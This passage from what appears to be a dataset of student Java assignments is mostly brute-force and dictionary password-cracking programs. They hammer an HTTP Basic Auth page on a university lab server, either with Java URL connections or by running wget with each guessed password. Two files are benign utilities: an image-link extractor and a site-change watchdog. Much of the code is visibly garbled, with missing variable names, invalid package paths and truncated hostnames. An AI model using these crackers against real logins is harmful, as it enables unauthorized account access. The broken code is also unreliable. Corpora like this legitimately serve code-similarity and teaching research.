				System.out.println(""Try "" + trytimes + "" times "");
				System.exit(1);
			}
		  }
		}
	
		for (int i = 0; i < count; i++) {
			userPassword = userID + "":"" + validPW[i];
			trytimes ++;
			int attackOK = new BruteForce().attackURL(userPassword, attackWP);
			if (attackOK == 1) {
				 endmillisecond = System.currentTimeMillis();
				 searchmillisecond = endmillisecond - startmillisecond;
				System.out.println(""Match in "" + searchmillisecond + "" milliseconds "");
				System.out.println(""Try "" + trytimes + "" times "");
				System.exit(1);
			}
		}
	}
	catch (Exception ioe) {
            System.out.println(ioe.getMessage());
        }
        finally {
        }
	}
	
	public int attackURL(String userPassword, String attackWP) {
		int rtn = 1;
		try {
		        URL url = new URL(attackWP);
			System.out.println(""User & Password :"" + userPassword);
		        String encoding = Base64Converter.encode (userPassword.getBytes());
			
			URLConnection uc = url.openConnection();
			uc.setRequestProperty  (""Authorization"", "" "" + encoding);
			InputStream content = (InputStream)uc.getInputStream();
			BufferedReader in = new BufferedReader (new InputStreamReader (content));
			String line;
			while ((line = in.readLine()) != null) {
			
				System.out.println(line);
		        }
		} catch (MalformedURLException e) {
			rtn = 2;
	       		System.out.println(""Invalid URL"");
		} catch (IOException e) {
      			System.out.println(""Error  URL"");
			rtn = 2;
		}
		return rtn;
	}

}
"
146.java,"import java.net.*;
import java.util.*;

public class BruteForce {

   public static void main(String[] args) {
      new CrackAttempt();
   }
}

class CrackAttempt {
   public CrackAttempt() {
      final int MAX_LENGTH = 3;
      boolean auth = false;
      Date  = new Date();
      boolean morePasswords = true;
      int passPtr = 0;
      StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
      char[] password = new char[MAX_LENGTH];

      password[0] = validChars.charAt(0);
      while (!auth && morePasswords) {
         String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
         try {
            
            Authenticator.setDefault(new CrackAuth(password));
            URL url = new URL(resource);
            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
            conn.setRequestMethod(""HEAD"");
            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
               System.out.println(""cracked with "" + new String(password));
               auth = true;
            }
         } catch (Exception e) {
            System.out.println("" was  exception: "" + e.getMessage());
         }
         int count = passPtr;
         while (true) {
            if (password[count] == validChars.charAt(validChars.length() - 1)) {
               password[count] = validChars.charAt(0);
               count--;
            } else {
               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
               break;
            }
            if (count < 0) {
               
               if (passPtr < MAX_LENGTH - 1) {
                  passPtr++;
                  password[passPtr] = validChars.charAt(0);
               } else {
                  morePasswords = false;
               }
               break;
            }
         }
         
      } 
      if (!auth) {
         System.out.println(""Unable  determine password"");
      } else {
          time = (new Date()).getTime() - start.getTime();
         System.out.println(""it took "" + String.valueOf(time) + "" milliseconds  crack the password"");
      }
   }
}

class CrackAuth extends Authenticator {
   char[] password;
   public CrackAuth(char[] password) {
      this.password = password;
   }

   protected PasswordAuthentication getPasswordAuthentication()
   {
      String user = """";
      return new PasswordAuthentication(user, password);
   }
}
"
213.java,"import java.io.*;
import java.util.*;

public class getImage
{
  private FileWriter fw;
  public getImage()
  {}
  public void translogFile(String[] result)
  {
     String fileName = ""ImageList.txt"";
   	 try{
	    fw=new FileWriter(fileName,false);
	    for(int i=0;result[i]!=null;i++)
        {
          fw.write(result[i]);
	      fw.write('\n');
	    }
	    fw.close();
   	    System.out.println(""Saved sucessfully"");
     }catch(IOException e){
		System.out.println(""Error saving the file"");
     }
  }
  public void translogFile1(String[] result)
  {
     String fileName = ""JpgGifList.txt"";
   	 try{
	    fw=new FileWriter(fileName,false);
	    for(int i=0;result[i]!=null;i++)
        {
          fw.write(result[i]);
	      fw.write('\n');
	    }
	    fw.close();
   	    System.out.println(""Saved sucessfully"");
     }catch(IOException e){
		System.out.println(""Error saving the file"");
     }
  }
  public void tokenFile(String fileName)
  {
      
      String tuteId="""";
      String aWord="""";
      String bWord="""";
      String cWord="""";
      String line=null;
      String[] myArray = new String[10];
      String[] myArrayB = new String[10];
      boolean studFlag=false;
      int j=0;
      int i=0;
      try
	    {
	        BufferedReader inputStream= new BufferedReader(new FileReader(fileName));
	     	line=inputStream.readLine();
			while (line!= null)
			{
				StringTokenizer word= new StringTokenizer(line,"" '\""' "");
				while (word.hasMoreTokens())
				{
					aWord=word.nextToken();
                    if(aWord.endsWith(""gif"") || aWord.endsWith(""jpg""))
                    {
                       if(!aWord.startsWith(""http""))
                       {
                           bWord = ""http://www.cs.rmit.edu.""+aWord;
                           myArray[j++]=bWord;
                           System.out.println(bWord);
                           StringTokenizer word1= new StringTokenizer(aWord,""/"");
                           while (word1.hasMoreTokens())
                           {
                             cWord=word1.nextToken();
                             if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg""))
                             {
                                myArrayB[i++]=cWord;
                             }
                           }
                       }
                       else
                       {

                         myArray[j++]=aWord;
                         System.out.println(aWord);
                         StringTokenizer word1= new StringTokenizer(aWord,""/"");
                         while (word1.hasMoreTokens())
                         {
                          cWord=word1.nextToken();
                          if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg""))
                          {
                            myArrayB[i++]=cWord;
                          }
                         }
                       }
					}
			    }
				line=inputStream.readLine();
			}
			 translogFile(myArray);
			 translogFile1(myArrayB);
		     inputStream.close();

        }
 		catch(FileNotFoundException e)
		{
			System.err.println(""File ""+fileName+"" was not found"");
        }
		catch(IOException e)
		{
			System.err.println(""Error "");
        }
  }

}"
219.java,"








import java.io.*;
import java.util.*;


public class Dictionary  extends Object {


public static void  main(String args[]) {


TopThread top = new TopThread();
BottomThread bottom = new BottomThread();


top.start();
bottom.start();
}
}



class TopThread extends Thread {
String strLine="""";
String pass="""",s="""";
int j=0;
BufferedReader in;
Process p;
int attempt=0;
 int start = System.currentTimeMillis();
public void run ()
{

try {

        in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));

        while((strLine = in.readLine()) != null) {
        if(strLine.length()==3){
        pass=strLine;
        System.out.println(""Trying  crack using: ""+pass);



         try{
         attempt++;
         p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
         p.waitFor();

         j = p.exitValue();
         }
         catch(Exception o){}


         if(j==0)
         {
          stop = System.currentTimeMillis();
         float duration = stop - start;
         BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
         out.write(""\n"");
         out.write("" DICTIONARY ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts in "" + duration + "" milliseconds "" );
         out.close();
         System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
         System.exit(0);
         }





        
          }

        }

     }
        catch (IOException e) {
            System.out.println(""exception happened - here's what I know: "");
            e.printStackTrace();
            System.exit(-1);
        }
     }
}




class BottomThread extends Thread {

String strLine="""";
String pass="""",s="""";
int j=0;
BufferedReader in;
Process p;
int attempt=0;
 int start = System.currentTimeMillis();
public void run () {
ArrayList a = new ArrayList(4096);

       try {
           in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
           while((strLine = in.readLine()) != null)
               if(strLine.length()==3){
                cad.add(strLine);
                                      }
           in.close();
           } catch (IOException e) {
            e.printStackTrace();
            System.exit(1);
                                   }

        String strArray[] = new String[a.size()];
        cad.toArray(strArray);

        for(int i = strArray.length - 1; i >= 0; i--){
             pass=strArray[i];

        try {

            System.out.println(""Trying  crack using: ""+pass);
            try{
            attempt++;

            p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
            p.waitFor();


            j = p.exitValue();
            }
            catch(Exception o){}


            if(j==0)
            {
            stop = System.currentTimeMillis();
           float duration = stop - start;
           BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
           out.write(""\n"");
           out.write("" DICTIONARY ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts in "" + duration + "" milliseconds "" );
           out.close();
           System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
           System.exit(0);
           }




           

        }
        catch (IOException e) {
            System.out.println(""exception happened - here's what I know: "");
            e.printStackTrace();
            System.exit(-1);
           }
         }
     }
}


"
189.java,"

import java.io.*;
import java.net.*;
import java.util.*;
import java.String;
import java.Object;
import java.awt.*;



public class WatchDog
{
  private URL url;
  private URLConnection urlcon;
  private int lastModifiedSince = 0;
  private int lastModified[] = new int[2];

  private int count = 0;

  public static String oldFile;
  public static String newFile;

  private String diffFile;

  private BufferedWriter bw;
  private Process p;
  private Runtime r;
  private String fileName;

  
  
  private ArrayList old[]= new ArrayList[500];
  private ArrayList news[] = new ArrayList[500];
  private String info = """";
  private int index = 0;

  public WatchDog(String fileName)
  {
    this.fileName = fileName;
    oldFile = fileName + "".old"";
	newFile = fileName + "".new"";
    diffFile = ""testFile.txt"";
  }
  public static void main(String args[])
  {
    WatchDog wd = new WatchDog(""TestDog"");

	wd.detectChange(WatchDog.oldFile);
    while (true)
    {
      try
      {
    	Thread.sleep(86400000); 
	  }
	  catch (InterruptedException eee)
	  {
        System.out.println(eee.getMessage());
	  }
      wd.lastModifyChange();
    }
  }

  
  public void detectChange(String fName)
  {
    try
    {
      url = new URL(""http://www.cs.rmit.edu./students/"");
      urlcon = url.openConnection();
      urlcon.connect();

      lastModified[count] = urlcon.getLastModified();

      int length = urlcon.getContentLength();
      String contentType = urlcon.getContentType();

      if (url != null)
      {
        InputStream stream = (InputStream)(url.getContent());
        if (stream != null)
        {
          InputStreamReader reader = new InputStreamReader (stream);

          try { bw = new BufferedWriter(new FileWriter(fName));}
		  catch (IOException e){};

		  

		  try {
		     int i = stream.get();
		     while (i != -1)
		     {
		       bw.write(i);
		       i = stream.get();
		     }
		      
		  }
          catch (IOException e){};
        }
      }
	  count++;
      System.out.println(""Content Type: "" + contentType);
    }
    catch (IOException e)
    {
      System.out.println(""Error: "" + e.getMessage());
    }

  }

  
  public void lastModifyChange()
  {
	detectChange(newFile);
     m = lastModified[1] - lastModified[0];

	count = count - 1;

    if (m == 0 )
    {
      System.out.println(""\nThe Web site does not change"");
    }
    else
    {
      findDifferent();
      lastModified[0] = lastModified[1];
    }
  }

  
  public void findDifferent()
  {

	r = Runtime.getRuntime();
	try {p = r.exec(""diff "" + oldFile + "" "" + newFile);}
	catch (IOException e)
    {
      System.err.println(""error: "" + e.getMessage());
	}

	try { bw = new BufferedWriter(new FileWriter(diffFile));}
	catch (IOException e){};

	
	InputStream is = p.getInputStream();
	try {
	  int i = is.get();
	  while (i != -1) {
	  bw.write(i);

	  i = is.get();
	  }
	  bw.close();
	}
	catch (IOException e){System.out.println(""Error: "" + e.getMessage());}

	getDiffContent();

	File difffile = new File(diffFile);

    if (difffile.length() != 0) {
      sendMails();
      System.out.println(""Mail was sent  @cs.rmit.edu."" );
    }
    else
    System.out.println(""WebWatch detected  changes "");

    
    difffile.delete();


  }

  
  public void sendMails()
  {
	try
    {
      MyMail em = new MyMail(""wombat.cs.rmit.edu."");

	  em.setFrom(""zhenyu_zhang@hotmail."");
	  em.setTo(""@cs.rmit.edu."");
	  em.setSubject(""Watch dog result: "");

      String output = ""\n\nChange in Line: "" + info + ""\n"";
      output += ""\n**************************************\n"";
      for (int i = 0; i < index; i++)
      {
        output += ""\n"" + i + 1  + "". Before Change: \n"";
        for (int j = 0; j < old[i].size(); j++)
        {
           output += (String)old[i].get(j);
        }

        output += ""\n\n   After Change: \n"";

        for (int j = 0; j < news[i].size(); j++)
        {
          output += ""\n"" + (String)news[i].get(j);

        }
        output += ""\n\n**************************************\n"";
	  }
	  output += ""\nDetected Image Changes: \n"";
	  output += findImage() + ""\n"";

      em.setMessage(output);
      em.sendMail();
    }
    catch (Exception e)
    {
      System.out.println(e.getMessage());
    }
  }

  
  public void getDiffContent()
  {
    index = 0;
    for (int i = 0; i < 500; i++)
    {
      old[i] = new ArrayList();
      news[i] = new ArrayList();
    }
	try {
      BufferedReader b = new BufferedReader(new FileReader(diffFile));

      info = b.readLine() + "" "";

      String text ;
      while ((text = b.readLine()) != null)
      {
        if (text.charAt(0) == '<')
        {
           old[index].add(text);

           while ((text = b.readLine()) != null)
           {

              if (text.charAt(0) == '<')
              {
			     old[index].add(text);
              }
              else
              {
                 break;
              }

	       }
         }

         if (text.charAt(0) == '>')
		 {
           news[index].add(text);

           while ((text = b.readLine()) != null )
           {

              if (text.charAt(0) == '>' )
              {
                 news[index].add(text);

              }
              else
              {
                 break;
              }
	       }

         }

         index ++;
       }


     }
     catch (IOException io)
     {
        System.out.println(io.getMessage());
     }
  }

  
  public String imageDetect(String s)
  {
    StringTokenizer tokens1;
    StringTokenizer tokens2;
    String imChange = """";

    String imString;
    tokens1 = new StringTokenizer(s,"" <>"");
    while (tokens1.hasMoreTokens())
    {
       imString = tokens1.nextToken();
       if (imString.indexOf(""src"") != -1 || imString.indexOf(""SRC"") != -1)
       {
          tokens2 = new StringTokenizer(imString,""=\"""");
          imChange = tokens2.nextToken();
          imChange = tokens2.nextToken();
          break;
        }
        else
        {
           imChange = null;
        }
     }

    return imChange ;
  }

  
  public String findImage()
  {
    String imChange = """";
    String imString;
    for (int i = 0; i < index; i++)
    {
      imChange += ""\n\n"" + i + "". Image in old  is: "";
	  for (int j = 0; j < old[i].size(); j++)
      {
         imString = imageDetect((String)old[i].get(j));
         if (imString != null)
         {
            imChange += imString;
         }
      }

      imChange += ""\n\n     Image in new  is: "";

      for (int j = 0; j < news[i].size(); j++)
      {
         imString = imageDetect((String)news[i].get(j));
         if (imString != null)
         {

			imChange += imString;
         }
      }

    }
    return imChange;
  }
}


"
247.java,"import java.io.*;
import java.net.*;











public class BruteForce
{
   private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int cases;           
                                       
   private static int respCode;        

   public BruteForce()
   {
      Authenticator.setDefault(new BruteForceAuthenticator());
      t_counter = 0;
      f_counter = 0;
      cases = 0;
   }

   public static void main (String[] args)
   {
      BruteForce bf = new BruteForce();
      String file = "" "";
      while(respCode != 200)
      {
         file = bf.fetchURL();
      }
      System.out.println(""Number of attempts: "" + t_counter);
      System.out.println(""Password: "" + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println(""Error  URL"");
      }
      return sw.toString();
   }
            
   class BruteForceAuthenticator extends Authenticator 
   {
      private String username = """";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         int i,j,k;
         int n = 26;
         String letters1 = ""qwertyuiopasdfghjklzxcvbnm"";
         String letters2 = ""abcdefghijklmnopqrstuvwxyz"";
 
         i=0;
         j=0;
         k=0;
   
         
         
         if(t_counter == 0)
         {
            length = 1;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == 2*n)
         {
            length = 2;
            cases = 0;
            f_counter = 0;
         }
         if(t_counter == (2*n + 4*n*n))
         {
            length = 3;
            cases = 0;
            f_counter = 0;
         }

         char c[] = new char[length];

         
         
         if(length == 1)
         {
            if(f_counter == n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter;

         } else if(length == 2) 
         {
            if(f_counter == n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/n;
            j = f_counter - i*n;

         } else if(length == 3) 
         {
            if(f_counter == n*n*n)
            {
               cases++;
               f_counter = 0;
            }
            i = f_counter/(n*n);
            j = (f_counter - i*n*n)/n;
            k = f_counter - i*n*n - j*n;
         }

         
         switch(cases)
         {
            case 0:
               c[0] = letters1.charAt(i);
               if(length > 1) c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 1:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 2:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 3:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               if(length > 2) c[2] = letters1.charAt(k);
               break;
            case 4:
               c[0] = letters1.charAt(i);
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 5:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = letters1.charAt(k);
               break;
            case 6:
               c[0] = letters1.charAt(i);
               c[1] = Character.toUpperCase(letters1.charAt(j));
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            case 7:
               c[0] = Character.toUpperCase(letters1.charAt(i));
               c[1] = letters1.charAt(j);
               c[2] = Character.toUpperCase(letters1.charAt(k));
               break;
            default:
               break;
         }

         f_counter++;
         t_counter++;

         password = new String(c);
         return c;
      }
   }
}
"
217.java,"








import java.io.*;
import java.util.*;


class BruteForce {


public static void main(String args[]){


RandomThread ran = new RandomThread();
MixThread mix = new MixThread();
SmallLetterThread  = new SmallLetterThread();
CapLetterThread caps = new CapLetterThread();


mix.get();
ran.get();

caps.get();

                                      }

                }


class MixThread extends Thread {

String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char pas[]=new char[4];

char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
            'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
            'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
 int time = System.currentTimeMillis();
public void run ()
{
for(int i=0;i<pos.length;i++){
 for(int j=0;j<pos.length;j++){
  for(int k=0;k<pos.length;k++){
      pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]);

     try {
          System.out.println(""Trying  crack using: ""+pass);
          attempt++;

          p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
          try{
          p.waitFor();
         }
      catch(Exception q){}


          z = p.exitValue();


      if(z==0)
      {
       stop = System.currentTimeMillis();
      float duration = stop - start;
      BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
      out.write(""\n"");
      out.write("" BRUTE FORCE ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts in "" + duration + "" milliseconds "" );
      out.close();
      System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
      System.exit(0);
      }




      
       }
     catch (IOException e) {
        System.out.println(""exception happened - here's what I know: "");
        e.printStackTrace();
        System.exit(-1);
                           }

        }
       }
      }
    }
  }



class RandomThread extends Thread {

String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char pas[]=new char[4];
char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
             'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
             'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
 int time = System.currentTimeMillis();
public void run ()
{
for(; ;)
{
    Random generator1= new Random();
    int m= generator1.nextInt(52);
    int n= generator1.nextInt(52);
    int o= generator1.nextInt(52);

    pass=String.valueOf(pos[m])+String.valueOf(pos[n])+String.valueOf(pos[o]);
    try {
        System.out.println(""Trying  crack using: ""+pass);
        attempt++;

     p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
     try{
         p.waitFor();
         }
     catch(Exception q){}


     z = p.exitValue();


     if(z==0)
     {       stop = System.currentTimeMillis();
            float duration = stop - start;
            BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
            out.write(""\n"");
            out.write("" BRUTE FORCE ATTACK ---- Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
            out.close();
            System.out.println("" Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
            System.exit(0);
      }





     
      }
      catch (IOException e) {
      System.out.println(""exception happened - here's what I know: "");
      e.printStackTrace();
      System.exit(-1);
                            }
                    }
           }
 }



class CapLetterThread extends Thread {

String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char pas[]=new char[4];
char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
             'R','S','T','U','V','W','X','Y','Z'};
int time = System.currentTimeMillis();
public void run ()
{
for(int i=0;i<pos.length;i++){
 for(int j=0;j<pos.length;j++){
  for(int k=0;k<pos.length;k++){
    pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]);

    try {
        System.out.println(""Trying  crack using: ""+pass);
        attempt++;

        p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
        try{
            p.waitFor();
            }
        catch(Exception q){}


         z = p.exitValue();


         if(z==0)
         {
            stop = System.currentTimeMillis();
           float duration = stop - start;
           BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
           out.write(""\n"");
           out.write("" BRUTE FORCE ATTACK ----Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
           out.close();
           System.out.println(""Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
           System.exit(0);
          }




   
         }
        catch (IOException e) {
            System.out.println(""exception happened - here's what I know: "");
            e.printStackTrace();
            System.exit(-1);
         }

        }
      }
    }
  }
}



class SmallLetterThread extends Thread {

String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char pas[]=new char[4];
char pos[]={'a','b','c','d','e','f','g','h',
             'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
 int time = System.currentTimeMillis();
public void run ()
{
for(int i=0;i<pos.length;i++){
 for(int j=0;j<pos.length;j++) {
  for(int k=0;k<pos.length;k++) {
    pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]);
   try {
        System.out.println(""Trying  crack using: ""+pass);
        attempt++;

       p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
       try{
       p.waitFor();
          }
       catch(Exception q){}

        z = p.exitValue();


        if(z==0)
        {
          stop = System.currentTimeMillis();
         float duration = stop - start;
         BufferedWriter out=new BufferedWriter(new FileWriter(""out.txt"",true));
         out.write(""\n"");
         out.write("" BRUTE FORCE ATTACK ----Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
         out.close();
         System.out.println(""Cool....Password Cracked: ""+ pass +"" in ""+ attempt +"" attempts "" + duration + "" milliseconds "");
         System.exit(0);
         }



        
        }
        catch (IOException e) {
          System.out.println(""exception happened - here's what I know: "");
          e.printStackTrace();
          System.exit(-1);
          }

        }
      }
    }
  }
}


"
151.java,"

import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class BruteForce   {
  
  
  
  String passwordLetters[] ={""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
  String password=""  "";
  static int counter;
  static int noOfAttempts;
  static String userName="""";
  HttpURLConnection u;
  boolean threadF,threadM;
  String passBase64;
  
  PasswordCrackThreadF passwordCrackThreadF;
  PasswordCrackThreadM passwordCrackThreadM;
  URL   url;
  
  
  public BruteForce() {
    breakPassword();
  }

  public static void main (String args[])  {
    new BruteForce();
  }
  
  
  
  private void  breakPassword() {
    int j;
    
    breakOneLetterPassword();
    
    breakTwoLetterPassword();
    
    
    

    passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);
    
    passwordCrackThreadM  = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);
    
    passwordCrackThreadF.print();
    passwordCrackThreadM.print();
  }
  
  
  private void breakOneLetterPassword() {       
     MyHttpURLConnection    httpURLConnection;
     try {
	   
	    url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
	   
	   passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
           u = (HttpURLConnection)url.openConnection();
	   u.setRequestProperty(""Authorization"", "" "" + passBase64);
     } catch  (IOException  io) {io.printStackTrace();}
         
         loop: for (int i=0;i<52;i++) {
                   password = passwordLetters[i];
		   
		   password ="":""+ password;
                   try {
                   
	  	       u=  (HttpURLConnection)url.openConnection();
		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                       u.setRequestProperty(""Authorization"", "" "" + passBase64);
		       u.connect();	
		       noOfAttempts++;  
		       if (u.getContentLength() != 0) {
		             
		             if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
		         
	                         System.out.println (""Your User Name : Password is  ""+password);
				 System.out.println(""   "");
			         System.out.println("" of Attempts / Requests ""+ noOfAttempts);
			  
			         System.exit(0);
                     
	                     }
		       }
		   } catch  (ProtocolException  px) {px.printStackTrace();
                   
                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
	           } catch (BindException e){e.printStackTrace();
	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	           } catch  (IOException  io) {io.printStackTrace();
		   
	           } finally {u.disconnect();
	           }
        }   
  }
  
  
  private void breakTwoLetterPassword() {   
      MyHttpURLConnection    httpURLConnection;       
      try {
	   
	    url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
	   
	    passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
            u = (HttpURLConnection)url.openConnection();
	    u.setRequestProperty(""Authorization"", "" "" + passBase64);
      } catch  (IOException  io) {io.printStackTrace();}

      
      loop: for (int i=0;i<52;i++) {
                for (int j=0;j<52;j++) {
                   password = passwordLetters[i]+passwordLetters[j];
		    
		   password ="":""+ password;
		   
		   
	          
                   try {
		        u=  (HttpURLConnection)url.openConnection();
			 passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                  u.setRequestProperty(""Authorization"", "" "" + passBase64);
			u.connect();
			noOfAttempts++;
			
            	        if (u.getContentLength() != 0) {
		           if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
	                      System.out.println (""Your User Name : Password is  ""+password); 
			      System.out.println(""   "");
			      System.out.println("" of Attempts / Requests ""+ noOfAttempts);
			  
			      System.exit(0);
	                   }
		        }
		   
		
	           } catch  (ProtocolException  px) {px.printStackTrace();
                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
	           } catch (BindException e){e.printStackTrace();
	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	           } catch  (IOException  io) {io.printStackTrace();
		   
	           } finally {u.disconnect();
	           }
               }  
      }


  }
}

class PasswordCrackThreadF extends  Thread  {
   
   
   
   private String passwordLetters[] ;
   private String password=""  "";
   private static String userName="""";
   private MyHttpURLConnection    httpURLConnection;
   private URL   url;
   
   BruteForce bruteForce;
   int count;    
   String passBase64;
   private HttpURLConnection  u;
   
   int start,stop;
   
   static boolean found;
   
   PasswordCrackThreadF(int start,int stop,int counter,String[]
                                                 passwordLetters,String userName,BruteForce bruteForce) {
       this.start = start;
       this.stop  = stop;
       this.passwordLetters =passwordLetters;
       this.userName=userName;
       count =counter;
       this.bruteForce=bruteForce; 
       bruteForce.threadF=true;
	
       
       passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());
       try {
	     
	     url  = new URL( ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
	    

	     u = (HttpURLConnection)url.openConnection();
             
	     u.setRequestProperty(""Authorization"", "" "" + passBase64);
	  

       } catch  (IOException  io) {io.printStackTrace();}

   }
  
   public synchronized void run()  {
     
     outer : for (int i=0; i<stop;i++)  {
                 for (int j=0;j<52;j++) {
                     for (int k=0;k<52;k++) {
                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
   	                 password ="":""+ password;
			 
			
			
			  while (!(bruteForce.threadF)) {
			     try { wait(1); }
			       catch (InterruptedException e){}
			   }  
			   
			  if (found)
			      System.exit(0);
                          try {   
			        u = (HttpURLConnection)url.openConnection();
			        passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                u.setRequestProperty(""Authorization"", "" "" + passBase64);
			         

			
                                u.connect();
				
		                BruteForce.noOfAttempts++;

		                if (u.getContentLength() != 0) {

		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
				       found=true;
				 
				 
					
					  
					
		                        System.out.println (""Your User Name : Password is  ""+password+ 
		                                 ""   ""+ "" Found by Thread  ""+count);
					System.out.println(""   "");
			                System.out.println("" of Attempts / Requests ""+ BruteForce.noOfAttempts);
				      	 
               		               System.exit(0);

	                            }
		               }
		   
		 		 
